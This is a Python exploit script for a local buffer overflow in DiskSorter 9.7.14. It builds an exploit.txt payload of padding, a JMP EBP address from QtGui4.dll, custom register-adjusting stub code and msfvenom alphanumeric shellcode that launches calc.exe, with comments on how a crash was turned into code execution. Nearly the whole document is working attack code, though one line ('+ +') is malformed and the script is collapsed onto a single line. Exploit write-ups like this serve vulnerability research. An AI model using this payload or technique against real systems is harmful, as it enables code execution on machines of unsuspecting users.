Disk Sorter 9.7.14 – ‘Input Directory’ Local Buffer Overflow
#!/usr/bin/python ############################################################################### # Exploit Title: DiskSorter v9.7.14 - Local Buffer Overflow # Date: 10-06-2017 # Exploit Author: abatchy17 -- @abatchy17 # Vulnerable Software: DiskSorter v9.7.14 # Vendor Homepage: http://www.disksorter.com/ # Version: 9.7.14 # Software Link: http://www.disksorter.com/setups/disksorter_setup_v9.7.14.exe # Tested On: Windows XP SP3 # # To trigger the exploit, paste the content of exploit.txt into "Add Input Directory" text box # # Credit to n3ckD_ for discovering the DoS exploit # # Challenges to convert this DoS to code execution: # 1. Program doesn't accept non ASCII characters (0x01 to 0xff are okay-ish) # 2. Buffer at ESP splits string if it contains a "\", this is bad since POP ESP is 0x5c # 3. Had to write custom shellcode to get the exact location of alphanumeric shellcode in memory # # +----------------------------------+ # |1 custom shellcode == 1 dead llama| # +----------------------------------+ # ############################################################################## a = open("exploit.txt", "w") # Message= 0x651f214e : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False badchars = "\x0a\x0d\x2f" # msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -e x86/alpha_mixed BufferRegister=EAX -f python -b "\x0a\x0d\x2f" buf = "" buf += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30" buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" buf += "\x6b\x4c\x5a\x48\x4f\x72\x57\x70\x75\x50\x43\x30\x43" buf += "\x50\x4b\x39\x4d\x35\x44\x71\x79\x50\x63\x54\x6e\x6b" buf += "\x62\x70\x76\x50\x6e\x6b\x42\x72\x46\x6c\x6e\x6b\x63" buf += "\x62\x62\x34\x6c\x4b\x43\x42\x76\x48\x36\x6f\x68\x37" buf += "\x73\x7a\x46\x46\x74\x71\x49\x6f\x4e\x4c\x57\x4c\x55" buf += "\x31\x51\x6c\x35\x52\x46\x4c\x51\x30\x6a\x61\x6a\x6f" buf += "\x64\x4d\x67\x71\x6b\x77\x79\x72\x68\x72\x70\x52\x70" buf += "\x57\x6c\x4b\x53\x62\x36\x70\x6c\x4b\x52\x6a\x67\x4c" buf += "\x4c\x4b\x50\x4c\x62\x31\x42\x58\x79\x73\x32\x68\x37" buf += "\x71\x4a\x71\x73\x61\x4e\x6b\x63\x69\x31\x30\x35\x51" buf += "\x69\x43\x4c\x4b\x50\x49\x64\x58\x58\x63\x46\x5a\x32" buf += "\x69\x6e\x6b\x36\x54\x4e\x6b\x57\x71\x38\x56\x65\x61" buf += "\x49\x6f\x6e\x4c\x69\x51\x7a\x6f\x66\x6d\x46\x61\x69" buf += "\x57\x70\x38\x39\x70\x33\x45\x39\x66\x35\x53\x31\x6d" buf += "\x68\x78\x75\x6b\x73\x4d\x71\x34\x70\x75\x38\x64\x33" buf += "\x68\x4e\x6b\x32\x78\x51\x34\x65\x51\x39\x43\x31\x76" buf += "\x4c\x4b\x64\x4c\x32\x6b\x6e\x6b\x62\x78\x65\x4c\x47" buf += "\x71\x59\x43\x4c\x4b\x44\x44\x4c\x4b\x56\x61\x38\x50" buf += "\x6f\x79\x52\x64\x54\x64\x34\x64\x63\x6b\x73\x6b\x50" buf += "\x61\x50\x59\x71\x4a\x56\x31\x59\x6f\x59\x70\x33\x6f" buf += "\x53\x6f\x71\x4a\x4c\x4b\x44\x52\x68\x6b\x6e\x6d\x53" buf += "\x6d\x62\x4a\x56\x61\x4c\x4d\x6b\x35\x6d\x62\x75\x50" buf += "\x45\x50\x75\x50\x32\x70\x32\x48\x76\x51\x4e\x6b\x30" buf += "\x6f\x6f\x77\x39\x6f\x4e\x35\x4d\x6b\x58\x70\x4d\x65" buf += "\x4e\x42\x53\x66\x62\x48\x6d\x76\x4a\x35\x6d\x6d\x4d" buf += "\x4d\x69\x6f\x79\x45\x57\x4c\x46\x66\x53\x4c\x56\x6a" buf += "\x6f\x70\x49\x6b\x6d\x30\x33\x45\x33\x35\x4d\x6b\x50" buf += "\x47\x37\x63\x74\x32\x52\x4f\x53\x5a\x43\x30\x53\x63" buf += "\x49\x6f\x38\x55\x52\x43\x63\x51\x50\x6c\x65\x33\x54" buf += "\x6e\x62\x45\x54\x38\x62\x45\x55\x50\x41\x41" jmpebp = "\x1f\x54\x1c\x65" # Why JMP EBP? Buffer at ESP is split, bad! llamaleftovers = ( "\x55" # push EBP "\x58" # pop EAX "\x05\x55\x55\x55\x55" # add EAX, 0x55555555 "\x05\x55\x55\x55\x55" # add EAX, 0x55555555 "\x05\x56\x56\x55\x55" # add EAX, 0x55555656 -> EAX = EBP + 209 "\x40" # inc EAX, shellcode generated should start exactly here (EBP + 210) as we're using the x86/alpha_mixed with BufferRegister to get a purely alphanumeric shellcode ) junk = "\x55" + + "\x53\x5b" * 105 data = "A"*4096 + jmpebp + "\x40\x48" * 20 + llamaleftovers + junk + buf a.write(data) a.close() |